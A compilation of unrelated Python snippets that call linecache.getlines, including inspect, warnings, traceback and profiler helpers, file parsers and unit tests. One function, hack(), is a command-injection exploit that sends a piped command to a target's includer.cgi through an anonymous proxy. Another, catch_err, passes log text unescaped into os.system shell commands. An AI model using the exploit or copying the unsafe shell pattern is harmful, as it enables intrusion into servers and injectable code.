def findsource(object):
"""Return the entire source file and starting line number for an object.
The argument may be a module, class, method, function, traceback, frame,
or code object. The source code is returned as a list of all the lines
in the file and the line number indexes a line in that list. An IOError
is raised if the source code cannot be retrieved."""
file = getsourcefile(object) or getfile(object)
module = getmodule(object, file)
if module:
lines = linecache.getlines(file, module.__dict__)
else:
lines = linecache.getlines(file)
if not lines:
raise IOError('could not get source code')
if ismodule(object):
return lines, 0
if isclass(object):
name = object.__name__
pat = re.compile(r'^(\s*)class\s*' + name + r'\b')
# make some effort to find the best matching class definition:
# use the one with the least indentation, which is the one
# that's most probably not inside a function definition.
candidates = []
for i in range(len(lines)):
match = pat.match(lines[i])
if match:
# if it's at toplevel, it's already the best one
if lines[i][0] == 'c':
return lines, i
# else add whitespace to candidate list
candidates.append((match.group(1), i))
if candidates:
# this will sort by whitespace, and by line number,
# less whitespace first
candidates.sort()
return lines, candidates[0][1]
else:
raise IOError('could not find class definition')
if ismethod(object):
object = object.im_func
if isfunction(object):
object = object.func_code
if istraceback(object):
object = object.tb_frame
if isframe(object):
object = object.f_code
if iscode(object):
if not hasattr(object, 'co_firstlineno'):
raise IOError('could not find function definition')
lnum = object.co_firstlineno - 1
pat = re.compile(r'^(\s*def\s)|(.*(?<!\w)lambda(:|\s))|^(\s*@)')
while lnum > 0:
if pat.match(lines[lnum]): break
lnum = lnum - 1
return lines, lnum
raise IOError('could not find code object')
def setUpClass(cls):
"""Load the Application file into the linecache to prevent exceptions when mocking the builtin open."""
from ILCDIRAC.Interfaces.API.NewInterface import Application
for fName in [Application.__file__, mock_module.__file__]:
if fName.endswith(('.pyc', '.pyo')):
fName = fName[:-1]
linecache.getlines(fName)
def test_lazycache_provide_after_failed_lookup(self):
linecache.clearcache()
lines = linecache.getlines(NONEXISTENT_FILENAME, globals())
linecache.clearcache()
linecache.getlines(NONEXISTENT_FILENAME)
linecache.lazycache(NONEXISTENT_FILENAME, globals())
self.assertEqual(lines, linecache.updatecache(NONEXISTENT_FILENAME))
def makeGrammar(self, rules):
"""
Produce a class from a collection of rules.
@param rules: A mapping of names to rule bodies.
"""
lines = list(itertools.chain(*[self._function(
"def rule_%s(self):" % (name,),
["_locals = {'self': self}",
"self.locals[%r] = _locals" % (name,)] + list(body)) + ['\n\n']
for (name, body) in rules]))
source = '\n'.join(self._suite(
"class %s(%s):" %(self.name, self.superclass.__name__),
lines))
modname = "pymeta_grammar__"+self.name
filename = "/pymeta_generated_code/"+modname+".py"
mod = module(modname)
mod.__dict__.update(self.globals)
mod.__name__ = modname
mod.__dict__[self.superclass.__name__] = self.superclass
mod.__loader__ = GeneratedCodeLoader(source)
code = compile(source, filename, "exec")
eval(code, mod.__dict__)
mod.__dict__[self.name].globals = self.globals
sys.modules[modname] = mod
linecache.getlines(filename, mod.__dict__)
return mod.__dict__[self.name]
def test_lazycache_smoke(self):
lines = linecache.getlines(NONEXISTENT_FILENAME, globals())
linecache.clearcache()
self.assertEqual(
True, linecache.lazycache(NONEXISTENT_FILENAME, globals()))
self.assertEqual(1, len(linecache.cache[NONEXISTENT_FILENAME]))
# Note here that we're looking up a non existant filename with no
# globals: this would error if the lazy value wasn't resolved.
self.assertEqual(lines, linecache.getlines(NONEXISTENT_FILENAME))
def moduleFromGrammar(source, className, modname, filename):
mod = module(modname)
mod.__name__ = modname
mod.__loader__ = GeneratedCodeLoader(source)
code = compile(source, filename, "exec")
eval(code, mod.__dict__)
sys.modules[modname] = mod
linecache.getlines(filename, mod.__dict__)
return mod
def findsource(object):
"""Return the entire source file and starting line number for an object.
The argument may be a module, class, method, function, traceback, frame,
or code object. The source code is returned as a list of all the lines
in the file and the line number indexes a line in that list. An IOError
is raised if the source code cannot be retrieved."""
file = getfile(object)
sourcefile = getsourcefile(object)
if not sourcefile and file[:1] + file[-1:] != '<>':
raise IOError('source code not available')
file = sourcefile if sourcefile else file
module = getmodule(object, file)
if module:
lines = linecache.getlines(file, module.__dict__)
else:
lines = linecache.getlines(file)
if not lines:
raise IOError('could not get source code')
if ismodule(object):
return (lines, 0)
if isclass(object):
name = object.__name__
pat = re.compile('^(\\s*)class\\s*' + name + '\\b')
candidates = []
for i in range(len(lines)):
match = pat.match(lines[i])
if match:
if lines[i][0] == 'c':
return (lines, i)
candidates.append((match.group(1), i))
if candidates:
candidates.sort()
return (lines, candidates[0][1])
raise IOError('could not find class definition')
if ismethod(object):
object = object.im_func
if isfunction(object):
object = object.func_code
if istraceback(object):
object = object.tb_frame
if isframe(object):
object = object.f_code
if iscode(object):
if not hasattr(object, 'co_firstlineno'):
raise IOError('could not find function definition')
lnum = object.co_firstlineno - 1
pat = re.compile('^(\\s*def\\s)|(.*(?<!\\w)lambda(:|\\s))|^(\\s*@)')
while lnum > 0:
if pat.match(lines[lnum]):
break
lnum = lnum - 1
return (lines, lnum)
raise IOError('could not find code object')
def read_ld_so_conf():
def clean(ls):
return [x for x in [x.strip() for x in ls] if x!='' and x[:1] != '#']
conf = clean(linecache.getlines('/etc/ld.so.conf'))
dirs = [x for x in conf if x != '' and not x.startswith('include')]
for x in conf:
if x.startswith('include'):
for f in glob.glob(x.split()[1]):
dirs.extend(clean(linecache.getlines(f)))
return dirs
def warn_explicit(message, category, filename, lineno, module=None, registry=None, module_globals=None):
if module is None:
if not filename:
module = "<unknown>"
if module[-3:].lower() == ".py":
module = module[:-3]
if registry is None:
registry = {}
if isinstance(message, Warning):
text = str(message)
category = message.__class__
else:
text = message
message = category(message)
key = (text, category, lineno)
if registry.get(key):
return
for item in filters:
action, msg, cat, mod, ln = item
if (
(msg is None or msg.match(text))
and issubclass(category, cat)
and (mod is None or mod.match(module))
and (ln == 0 or lineno == ln)
):
break
else:
action = defaultaction
if action == "ignore":
registry[key] = 1
return
linecache.getlines(filename, module_globals)
if action == "error":
raise message
if action == "once":
registry[key] = 1
oncekey = (text, category)
return onceregistry.get(oncekey) and None
onceregistry[oncekey] = 1
elif action == "always":
pass
elif action == "module":
registry[key] = 1
altkey = (text, category, 0)
if registry.get(altkey):
return
registry[altkey] = 1
elif action == "default":
registry[key] = 1
else:
raise RuntimeError("Unrecognized action (%r) in warnings.filters:\n %s" % (action, item))
showwarning(message, category, filename, lineno)
def get_lines_from_file(filename, lineno, context=0, globals=None):
"""Return `content` number of lines before and after the specified
`lineno` from the (source code) file identified by `filename`.
Returns a `(lines_before, line, lines_after)` tuple.
"""
# The linecache module can load source code from eggs since Python 2.6.
# Prior versions return lines from the wrong file, so we try locating
# the file in eggs manually first.
lines = []
match = _egg_path_re.match(filename)
if match:
import zipfile
for path in sys.path:
try:
zip = zipfile.ZipFile(path, 'r')
try:
lines = zip.read(match.group(1)).splitlines()
break
finally:
zip.close()
except Exception:
pass
if not lines:
import linecache
linecache.checkcache(filename)
if arity(linecache.getlines) >= 2:
lines = linecache.getlines(filename, globals)
else: # Python 2.4
lines = linecache.getlines(filename)
if not 0 <= lineno < len(lines):
return (), None, ()
lbound = max(0, lineno - context)
ubound = lineno + 1 + context
charset = None
rep = re.compile('coding[=:]\s*([-\w.]+)')
for linestr in lines[:2]:
match = rep.search(linestr)
if match:
charset = match.group(1)
break
before = [to_unicode(l.rstrip('\n'), charset)
for l in lines[lbound:lineno]]
line = to_unicode(lines[lineno].rstrip('\n'), charset)
after = [to_unicode(l.rstrip('\n'), charset) \
for l in lines[lineno + 1:ubound]]
return before, line, after
def warn_explicit(message, category, filename, lineno, module = None, registry = None, module_globals = None):
lineno = int(lineno)
if module is None:
module = filename or '<unknown>'
if module[-3:].lower() == '.py':
module = module[:-3]
if registry is None:
registry = {}
if isinstance(message, Warning):
text = str(message)
category = message.__class__
else:
text = message
message = category(message)
key = (text, category, lineno)
if registry.get(key):
return
else:
for item in filters:
action, msg, cat, mod, ln = item
if (msg is None or msg.match(text)) and issubclass(category, cat) and (mod is None or mod.match(module)) and (ln == 0 or lineno == ln):
break
else:
action = defaultaction
if action == 'ignore':
registry[key] = 1
return
linecache.getlines(filename, module_globals)
if action == 'error':
raise message
if action == 'once':
registry[key] = 1
oncekey = (text, category)
if onceregistry.get(oncekey):
return
onceregistry[oncekey] = 1
elif action == 'always':
pass
elif action == 'module':
registry[key] = 1
altkey = (text, category, 0)
if registry.get(altkey):
return
registry[altkey] = 1
elif action == 'default':
registry[key] = 1
else:
raise RuntimeError('Unrecognized action (%r) in warnings.filters:\n %s' % (action, item))
showwarning(message, category, filename, lineno)
return
def test_memoryerror(self):
lines = linecache.getlines(FILENAME)
self.assertTrue(lines)
def raise_memoryerror(*args, **kwargs):
raise MemoryError
with support.swap_attr(linecache, 'updatecache', raise_memoryerror):
lines2 = linecache.getlines(FILENAME)
self.assertEqual(lines2, lines)
linecache.clearcache()
with support.swap_attr(linecache, 'updatecache', raise_memoryerror):
lines3 = linecache.getlines(FILENAME)
self.assertEqual(lines3, [])
self.assertEqual(linecache.getlines(FILENAME), lines)
def eval(source, scope=jacklegScope, origin="__main"):
name = uuid.uuid4().hex + '.py'
mod = module(name)
mod.__name__ = name
mod._m_outerScope = scope
pysrc, _, lastline = ecompile(source, scope, origin).rpartition('\n')
pysrc = '\n'.join(["from monte import runtime as _monte",
pysrc,
"_m_evalResult = " + lastline])
mod.__loader__ = GeneratedCodeLoader(pysrc)
code = compile(pysrc, name, "exec")
pyeval(code, mod.__dict__)
sys.modules[name] = mod
linecache.getlines(name, mod.__dict__)
return mod._m_evalResult
def findsource(object):
file = getsourcefile(object)
if not file:
raise IOError('source code not available')
module = getmodule(object, file)
if module:
lines = linecache.getlines(file, module.__dict__)
else:
lines = linecache.getlines(file)
if not lines:
raise IOError('could not get source code')
if ismodule(object):
return (lines, 0)
if isclass(object):
name = object.__name__
pat = re.compile('^(\\s*)class\\s*' + name + '\\b')
candidates = []
for i in range(len(lines)):
match = pat.match(lines[i])
if match:
if lines[i][0] == 'c':
return (lines, i)
candidates.append((match.group(1), i))
if candidates:
candidates.sort()
return (lines, candidates[0][1])
raise IOError('could not find class definition')
if ismethod(object):
object = object.im_func
if isfunction(object):
object = object.func_code
if istraceback(object):
object = object.tb_frame
if isframe(object):
object = object.f_code
if iscode(object):
if not hasattr(object, 'co_firstlineno'):
raise IOError('could not find function definition')
lnum = object.co_firstlineno - 1
pat = re.compile('^(\\s*def\\s)|(.*(?<!\\w)lambda(:|\\s))|^(\\s*@)')
while lnum > 0:
if pat.match(lines[lnum]):
break
lnum = lnum - 1
return (lines, lnum)
raise IOError('could not find code object')
def _fixed_getframes(etb, context=1, tb_offset=0):
LNUM_POS, LINES_POS, INDEX_POS = 2, 4, 5
records = fix_frame_records_filenames(inspect.getinnerframes(etb, context))
# If the error is at the console, don't build any context, since it would
# otherwise produce 5 blank lines printed out (there is no file at the
# console)
rec_check = records[tb_offset:]
try:
rname = rec_check[0][1]
if rname == '<ipython console>' or rname.endswith('<string>'):
return rec_check
except IndexError:
pass
aux = traceback.extract_tb(etb)
assert len(records) == len(aux)
for i, (file, lnum, _, _) in enumerate(aux):
maybeStart = lnum - 1 - context // 2
start = max(maybeStart, 0)
end = start + context
lines = linecache.getlines(file)[start:end]
# pad with empty lines if necessary
if maybeStart < 0:
lines = (['\n'] * -maybeStart) + lines
if len(lines) < context:
lines += ['\n'] * (context - len(lines))
buf = list(records[i])
buf[LNUM_POS] = lnum
buf[INDEX_POS] = lnum - 1 - start
buf[LINES_POS] = lines
records[i] = tuple(buf)
return records[tb_offset:]
def do_list(self, arg):
self.lastcmd = 'list'
last = None
if arg and arg != '.':
try:
if ',' in arg:
(first, last) = arg.split(',')
first = int(first.strip())
last = int(last.strip())
last = first + last
else:
first = int(arg.strip())
first = max(1, first - 5)
except ValueError:
self.error('Error in argument: %r' % arg)
return
elif self.lineno is None or arg == '.':
first = max(1, self.curframe.f_lineno - 5)
else:
first = self.lineno + 1
if last is None:
last = first + 10
filename = self.curframe.f_code.co_filename
breaklist = self.get_file_breaks(filename)
try:
lines = linecache.getlines(filename, self.curframe.f_globals)
self._print_lines(lines[first - 1:last], first, breaklist, self.curframe)
self.lineno = min(last, len(lines))
while len(lines) < last:
self.message('[EOF]')
except KeyboardInterrupt:
pass
def __init__( self, cachepath, logfile, capacity, debug=False ):
self.cachepath = cachepath
self.logfile = cachepath + '\\' + logfile
self.capacity = capacity
self.lines = linecache.getlines(self.logfile) # lines in logfile
self.size, self.filecount = self.getSize()
self.LRU = self.initLRU()
def get_lines_from_file(filename, lineno, context_lines,
loader=None, module_name=None):
"""
Returns context_lines before and after lineno from file.
Returns (pre_context_lineno, pre_context, context_line, post_context).
"""
source = None
if loader is not None and hasattr(loader, "get_source"):
try:
source = loader.get_source(module_name)
except (ImportError, IOError):
# Traceback (most recent call last):
# File "/Users/dcramer/Development/django-sentry/sentry/client/handlers.py", line 31, in emit
# get_client().create_from_record(record, request=request)
# File "/Users/dcramer/Development/django-sentry/sentry/client/base.py", line 325, in create_from_record
# data['__sentry__']['frames'] = varmap(shorten, get_stack_info(stack))
# File "/Users/dcramer/Development/django-sentry/sentry/utils/stacks.py", line 112, in get_stack_info
# pre_context_lineno, pre_context, context_line, post_context = get_lines_from_file(filename, lineno, 7, loader, module_name)
# File "/Users/dcramer/Development/django-sentry/sentry/utils/stacks.py", line 24, in get_lines_from_file
# source = loader.get_source(module_name)
# File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/pkgutil.py", line 287, in get_source
# fullname = self._fix_name(fullname)
# File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/pkgutil.py", line 262, in _fix_name
# "module %s" % (self.fullname, fullname))
# ImportError: Loader for module cProfile cannot handle module __main__
source = None
if source is not None:
source = source.splitlines()
if source is None:
try:
source = linecache.getlines(filename)
except (OSError, IOError):
return None, None, None
if not source:
return None, None, None
lower_bound = max(0, lineno - context_lines)
upper_bound = min(lineno + 1 + context_lines, len(source))
try:
pre_context = [
line.strip('\r\n')
for line in source[lower_bound:lineno]
]
context_line = source[lineno].strip('\r\n')
post_context = [
line.strip('\r\n')
for line in source[(lineno + 1):upper_bound]
]
except IndexError:
# the file may have changed since it was loaded into memory
return None, None, None
return (
slim_string(pre_context),
slim_string(context_line),
slim_string(post_context)
)
def mea_file_unwrap(filename,sep_mark=" "):
"""
mea_file_unwrap(filename='Global2.mt0',sep_mark=" ")
return (num_blk,len(blk_line))
unwrap measurement files into a matrix
failed entries will be substituted by a number
sep_mark: change this to ',' for csv like format
num_blk: number of blocks ( for MC simulation )
len(blk_line): number of measurement n each block
"""
if not os.path.isfile(filename):
print "%s not exist\n"%(filename)
return
tot_lines,line_info0, line_info1,=get_info(filename)
f=linecache.getlines(filename)
outfilename='./'+filename.replace('.','_')+'.txt'
fhout=open(outfilename,'w')
num_blk=(tot_lines-line_info1-1)/(line_info1-line_info0+1)
num_blk_line=line_info1-line_info0+1
for blkct in xrange(num_blk):
blk_line=[]
for blk_line_ct in xrange(num_blk_line):
current_line_pt=line_info1+1+num_blk_line*blkct+blk_line_ct
current_line=f[current_line_pt].replace("failed", "-1.11")
current_line_list=current_line.split()
blk_line=blk_line+current_line_list
fhout.write(sep_mark.join(blk_line)+"\n")
fhout.close()
print "%s: num_blk %d;\t Num_entry %d;\t Blk_line %d"\
%(filename,num_blk,len(blk_line),num_blk_line)
return (num_blk,len(blk_line))
def show_results(prof, stream=None, precision=1):
if stream is None:
stream = sys.stdout
template = '{0:>6} {1:>12} {2:>12} {3:<}'
for (filename, lines) in prof.code_map.items():
header = template.format('Line #', 'Mem usage', 'Increment',
'Line Contents')
stream.write(u'Filename: ' + filename + '\n\n')
stream.write(header + u'\n')
stream.write(u'=' * len(header) + '\n')
all_lines = linecache.getlines(filename)
mem_old = None
float_format = u'{0}.{1}f'.format(precision + 4, precision)
template_mem = u'{0:' + float_format + '} MiB'
for (lineno, mem) in lines:
if mem:
inc = (mem - mem_old) if mem_old else 0
mem_old = mem
mem = template_mem.format(mem)
inc = template_mem.format(inc)
else:
mem = u''
inc = u''
tmp = template.format(lineno, mem, inc, all_lines[lineno - 1])
stream.write(unicode(tmp))
stream.write(u'\n\n')
def catch_err(filename):
# filename_list = list(filename)
today_catalina = list(filename)[0]
today_errlog = list(filename)[1]
f1 = open('/home/catalina/record.txt','r')
content1 = f1.read()
cursor = int(content1.split(',')[1])
if cursor == 0:
start_line = 1
else:
start_line = cursor
infos = linecache.getlines('/home/catalina/%s' % today_catalina)[start_line:]
errlog_path = '/home/catalina/%s' % today_errlog
if not os.path.isfile(errlog_path):
os.system('touch %s' % errlog_path)
x=1
for info in infos:
error = re.search('ERROR',info)
if error:
cmd1 = '''echo "%s" >> %s''' % (info,errlog_path)
os.system(cmd1)
for err_info in infos[x:]:
if not re.search(r'\b\d\d:\d\d:\d\d\b',err_info):
cmd2 = '''echo "%s" >> %s''' % (err_info,errlog_path)
os.system(cmd2)
else:
cmd3 = "echo '\n----------------------------------------------------------------------------------------------------------------------------------------------------------------\n' >> %s" % errlog_path
os.system(cmd3)
break
x = x+1
start_line = start_line+1
time = os.stat('%s' % errlog_path).st_mtime
return (time,start_line)
def renderTraceback(trace):
res = []
for tb in trace:
if isinstance(tb["path"],tuple):
path = tb["path"]
if path[0] == "ModuleImporter":
path = os.path.join(_pyforaRoot, *path[1:]) + ".fora"
else:
path = path[0]
else:
path = os.path.abspath(tb["path"])
if 'range' in tb:
lineNumber = tb['range']['start']['line']
else:
lineNumber = tb["line"]
res.append(' File "%s", line %s' % (path, lineNumber))
lines = linecache.getlines(os.path.abspath(path))
if lines is not None and lineNumber >= 1 and lineNumber <= len(lines):
res.append(" " + lines[lineNumber-1][:-1].lstrip())
return "\n".join(res)
def add_genotype_from_vcf_to_annovar(vcf_f, anno_f, new_f, sample_file):
anno_d, anno_title = get_anno(anno_f)
nf = open(new_f, 'w')
print 'get anno info'
sg = data.SampleGroup(sample_file)
cases = sg.cases_id
ctrls = sg.ctrls_id
if os.path.exists(vcf_f):
cache_data = linecache.getlines(vcf_f)
print 'get vcf info'
for line in range(1, len(cache_data)):
if cache_data[line][:2] == '##':
continue
elif cache_data[line][0] == '#':
vcf_title = cache_data[line].strip().split('\t')[8:] + ['allele_count', 'sample_count', 'allele_freq']
ntl = anno_title.strip().split('\t') + vcf_title
nt = '\t'.join(ntl) + '\n'
nf.write(nt)
continue
ll = cache_data[line].strip().split('\t')
key = tuple(ll[:5])
if key in anno_d:
nl = anno_d[key]+ll[8:]+count_alle_freq(sample_info=ll[9:], sample_id=vcf_title[1:-3], cases=cases, ctrls=ctrls)
nf.write('\t'.join(nl)+'\n')
return
else:
print('the path [{}] is not exist!'.format(vcf_f))
def generateFnameLableTuppleList(inputListName, labelre, labelfunc=None, limit=-1, ifshuffle=True):
labelList = [] # for saving
flist = getlines(inputListName)
if len(flist) == 0:
raise Exception('flist is empty')
if limit != -1:
flist = flist[0:limit]
collection = []
labelIndex = 0
for subfname in flist:
label = re.match(labelre, subfname).groups()[0]
# check new label, then add it
if label not in labelList:
if labelfunc != None:
label = labelfunc(label)
labelList.append(label)
labelIndex += 1
collection.append((subfname.strip(), labelList.index(label)))
if ifshuffle:
np.random.shuffle(collection)
return collection, labelList
def test_lazycache_already_cached(self):
linecache.clearcache()
lines = linecache.getlines(NONEXISTENT_FILENAME, globals())
self.assertEqual(
False,
linecache.lazycache(NONEXISTENT_FILENAME, globals()))
self.assertEqual(4, len(linecache.cache[NONEXISTENT_FILENAME]))
def _fixed_getinnerframes(etb, context=1, tb_offset=0):
import linecache
LNUM_POS, LINES_POS, INDEX_POS = 2, 4, 5
records = fix_frame_records_filenames(inspect.getinnerframes(etb, context))
# If the error is at the console, don't build any context, since it would
# otherwise produce 5 blank lines printed out (there is no file at the
# console)
rec_check = records[tb_offset:]
try:
rname = rec_check[0][1]
if rname == "<ipython console>" or rname.endswith("<string>"):
return rec_check
except IndexError:
pass
aux = traceback.extract_tb(etb)
assert len(records) == len(aux)
for i, (file, lnum, _, _) in zip(range(len(records)), aux):
maybeStart = lnum - 1 - context // 2
start = max(maybeStart, 0)
end = start + context
lines = linecache.getlines(file)[start:end]
buf = list(records[i])
buf[LNUM_POS] = lnum
buf[INDEX_POS] = lnum - 1 - start
buf[LINES_POS] = lines
records[i] = tuple(buf)
return records[tb_offset:]
def hack():
print "[X] Connecting..."
proxer = raw_input("Type your proxy (IP:PORT) here: ")
proxy = {'http': 'http://' + proxer} # PROXY !!! (find here: http://www.aliveproxy.com/high-anonymity-proxy-list)
print "[X] Proxing...",
url = urllib.FancyURLopener(proxy)
print "[OK]"
print "[X] Sending exploit...",
stack = url.open(host + "includer.cgi?=|" + send + "|")
read = stack.read()
print "[OK]"
print "[X] Exploited !\n"
t_file = open('temp.txt', 'w')
print >> t_file, read
t_file = open('temp.txt', 'r')
for line in linecache.getlines("temp.txt"):
if(line[0:16]=="document.write('"):
print line[16:-4]
elif(line[0:18]=="document.writeln('"):
print line[18:-4]
elif(line[0]=="<"):
pass
elif(line[0:2]=="*/"):
pass
elif(line[0:2]=="/*"):
pass
else:
print line[:-1]
def show_results(prof, stream=None):
if stream is None:
stream = sys.stdout
template = '%6s %12s %-s'
header = template % ('Line #', 'Mem usage', 'Line Contents')
stream.write(header + '\n')
stream.write('=' * len(header) + '\n')
for code in prof.code_map:
lines = prof.code_map[code]
filename = code.co_filename
if (filename.endswith(".pyc") or
filename.endswith(".pyo")):
filename = filename[:-1]
all_lines = linecache.getlines(filename)
sub_lines = inspect.getblock(all_lines[code.co_firstlineno-1:])
linenos = range(code.co_firstlineno, code.co_firstlineno + len(sub_lines))
lines_normalized = {}
# move everything one frame up
keys = lines.keys()
keys.sort()
lines_normalized[code.co_firstlineno+1] = lines[keys[0]]
while len(keys) > 1:
v = keys.pop(0)
lines_normalized[v] = lines[keys[0]]
for l in linenos:
mem = ''
if lines_normalized.has_key(l):
mem = '%5.2f MB' % max(lines_normalized.get(l))
line = linecache.getline(filename, l)
stream.write(template % (l, mem, line))
def test_getline(self):
getline = linecache.getline
# Bad values for line number should return an empty string
self.assertEqual(getline(FILENAME, 2**15), EMPTY)
self.assertEqual(getline(FILENAME, -1), EMPTY)
# Float values currently raise TypeError, should it?
self.assertRaises(TypeError, getline, FILENAME, 1.1)
# Bad filenames should return an empty string
self.assertEqual(getline(EMPTY, 1), EMPTY)
self.assertEqual(getline(INVALID_NAME, 1), EMPTY)
# Check whether lines correspond to those from file iteration
for entry in TESTS:
filename = os.path.join(TEST_PATH, entry) + '.py'
for index, line in enumerate(open(filename)):
self.assertEqual(line, getline(filename, index + 1))
# Check module loading
for entry in MODULES:
filename = os.path.join(MODULE_PATH, entry) + '.py'
for index, line in enumerate(open(filename)):
self.assertEqual(line, getline(filename, index + 1))
# Check that bogus data isn't returned (issue #1309567)
empty = linecache.getlines('a/b/c/__init__.py')
self.assertEqual(empty, [])
def format_outer_frames(context=5, stack_start=None, stack_end=None, ignore_ipython=True):
LNUM_POS, LINES_POS, INDEX_POS = 2, 4, 5
records = inspect.getouterframes(inspect.currentframe())
output = list()
for i, (frame, filename, line_no, func_name, lines, index) in enumerate(records):
# Look inside the frame's globals dictionary for __file__, which should
# be better.
better_fn = frame.f_globals.get("__file__", None)
if isinstance(better_fn, str):
# Check the type just in case someone did something weird with
# __file__. It might also be None if the error occurred during
# import.
filename = better_fn
if filename.endswith(".pyc"):
filename = filename[:-4] + ".py"
if ignore_ipython:
# Hack to avoid printing the internals of IPython
if os.path.basename(filename) == "iplib.py" and func_name in ("safe_execfile", "runcode"):
break
maybeStart = line_no - 1 - context // 2
start = max(maybeStart, 0)
end = start + context
lines = linecache.getlines(filename)[start:end]
# pad with empty lines if necessary
if maybeStart < 0:
lines = (["\n"] * -maybeStart) + lines
if len(lines) < context:
lines += ["\n"] * (context - len(lines))
buf = list(records[i])
buf[LNUM_POS] = line_no
buf[INDEX_POS] = line_no - 1 - start
buf[LINES_POS] = lines
output.append(tuple(buf))
return "\n".join(format_records(output[stack_end:stack_start:-1]))
def parse_variable(self):
lineNumber = 1
with open(self.var_path, 'r') as f:
lines = f.readlines()
for line in lines:
if line.startswith('#') and len(line) > 1:
self.number_list.append(lineNumber)
if (('#' in line) and (len(line) == 1)) or not len(line):
self.number_list.append(lineNumber)
lineNumber += 1
# print(len(self.number_list))
if len(self.number_list) % 2 == 0:
for j in range(len(self.number_list)):
if j % 2 == 0:
start = self.number_list[j]
end = self.number_list[j + 1]
file_name = linecache.getline(self.var_path,
start).strip()[1:]
dlc_list = linecache.getline(self.var_path,
start + 1).strip().split(',')
if 'section'.upper() not in file_name.upper():
var_list = linecache.getlines(self.var_path)[start +
1:end - 1]
# print(var_list)
vars_list = []
unit_list = []
var_no_unit = []
for var in var_list:
if "#" not in var:
if ',' in var:
temp = var.strip().split(',')
vars_list.append(temp[0])
unit_list.append(temp[1])
self.vars_list.append(temp[0])
else:
temp = var.strip()
var_no_unit.append(temp)
self.file_list.append(file_name)
if var_no_unit:
self.vars_no_unit[file_name] = var_no_unit
self.file_dlc_var[file_name] = [
dlc_list, vars_list, unit_list
]
else:
var_list = linecache.getlines(self.var_path)[start +
1:end - 2]
# print(var_list)
vars_list = []
unit_list = []
section = linecache.getlines(
self.var_path)[end - 2:end - 1][0]
section = section.strip().split(',')[1:]
var_no_unit = []
for var in var_list:
if "#" not in var:
if ',' in var:
temp = var.strip().split(',')
vars_list.append(temp[0])
unit_list.append(temp[1])
self.vars_list.append(temp[0])
else:
temp = var.strip()
var_no_unit.append(temp)
else:
pass
self.file_list.append(file_name)
if var_no_unit:
self.vars_no_unit[file_name] = var_no_unit
self.file_dlc_var[file_name] = [
dlc_list, vars_list, unit_list, section
]
# for key, value in self.file_dlc_var.items():
# print(key, value)
else:
print('variable definition file is not valid!')
raise Exception('Please check the variable definition file!')
def read_dat_file(datf):
#Read the parameter into dicts
massparms = {}
bondparms = {}
angparms = {}
dihparms = {}
impparms = {}
nbparms = {}
ljedparms = {}
hasljed = False
count = len(linecache.getlines(datf))
for i in xrange(2, count + 1):
rline = linecache.getline(datf, i)
line = rline.strip()
if (line[0:4] == 'MOD4') and (line.split()[1] == 'RE'):
nbbln = i
if (line[0:4] == 'LJED'):
hasljed = True
ljedbln = i
if line[0:3] == 'END':
nbeln = i
break
massln = []
bondln = []
angln = []
dihln = []
impln = []
# Read from mass to improper parameters
for i in xrange(2, nbbln):
rline = linecache.getline(datf, i)
line = rline.strip()
mass_match = _massre.match(line)
bond_match = _bondre.match(line)
ang_match = _angre.match(line)
dih_match = _dihre.match(line)
imp_match = _impre.match(line)
if line:
if mass_match:
massparms = readmass(massparms, line)
massln.append(i)
elif bond_match:
bondparms = readbond(bondparms, line)
bondln.append(i)
elif ang_match:
angparms = readang(angparms, line)
angln.append(i)
elif dih_match:
dihparms = readdih(dihparms, line)
dihln.append(i)
elif imp_match:
impparms = readimp(impparms, line)
impln.append(i)
massln0, massln1 = (min(massln), max(massln))
bondln0, bondln1 = (min(bondln), max(bondln))
angln0, angln1 = (min(angln), max(angln))
dihln0, dihln1 = (min(dihln), max(dihln))
impln0, impln1 = (min(impln), max(impln))
if (bondln0 - massln1 == 3) and (angln0 - bondln1 == 2) \
and (dihln0 - angln1 == 2) and (impln0 - dihln1 == 2) and (nbbln - impln1 > 2):
pass
else:
raise pymsmtError(
'Error of reading the .dat file! Please check it whether '
'it has different parameter types mixed in one section!')
# Read the NB
if hasljed is True:
for i in range(nbbln + 1, ljedbln):
rline = linecache.getline(datf, i)
line = rline.strip()
if line:
nbparms = readnb(nbparms, line)
for i in range(ljedbln + 1, nbeln):
rline = linecache.getline(datf, i)
line = rline.strip()
if line:
ljedparms = readljed(ljedparms, line)
else:
for i in range(nbbln + 1, nbeln):
rline = linecache.getline(datf, i)
line = rline.strip()
if line:
nbparms = readnb(nbparms, line)
# Deal with the equil atoms
eqdict = {}
for i in range(nbbln - 3, nbbln):
rline = linecache.getline(datf, i)
line = rline.strip()
if line and rline[0] != ' ':
eqdict = readeqnb(eqdict, line)
for i in list(eqdict.keys()):
for j in eqdict[i]:
if len(i) == 1:
nbparms[j] = nbparms[i + ' ']
else:
nbparms[j] = nbparms[i]
# Merge all the parameters into one dict
parmdict = Parms(massparms, bondparms, angparms, dihparms, impparms,
nbparms, ljedparms)
linecache.clearcache()
return parmdict
def _parse_lambda(lam):
"""Returns the AST and source code of given lambda function.
Args:
lam: types.LambdaType, Python function/method/class
Returns:
gast.AST, Text: the parsed AST node; the source code that was parsed to
generate the AST (including any prefixes that this function may have added).
"""
# TODO(mdan): Use a fast path if the definition is not multi-line.
# We could detect that the lambda is in a multi-line expression by looking
# at the surrounding code - an surrounding set of parentheses indicates a
# potential multi-line definition.
mod = inspect.getmodule(lam)
f = inspect.getsourcefile(lam)
def_line = lam.__code__.co_firstlineno
# This method is more robust that just calling inspect.getsource(mod), as it
# works in interactive shells, where getsource would fail. This is the
# same procedure followed by inspect for non-modules:
# https://github.com/python/cpython/blob/3.8/Lib/inspect.py#L772
lines = linecache.getlines(f, mod.__dict__)
source = ''.join(lines)
# Narrow down to the last node starting before our definition node.
all_nodes = parse(source, preamble_len=0, single_node=False)
search_nodes = []
for node in all_nodes:
# Also include nodes without a line number, for safety. This is defensive -
# we don't know whether such nodes might exist, and if they do, whether
# they are not safe to skip.
# TODO(mdan): Replace this check with an assertion or skip such nodes.
if getattr(node, 'lineno', def_line) <= def_line:
search_nodes.append(node)
else:
# Found a node starting past our lambda - can stop the search.
break
# Extract all lambda nodes from the shortlist.
lambda_nodes = []
for node in search_nodes:
lambda_nodes.extend(n for n in gast.walk(node)
if isinstance(n, gast.Lambda))
# Filter down to lambda nodes which span our actual lambda.
candidates = []
for ln in lambda_nodes:
minl, maxl = MAX_SIZE, 0
for n in gast.walk(ln):
minl = min(minl, getattr(n, 'lineno', minl))
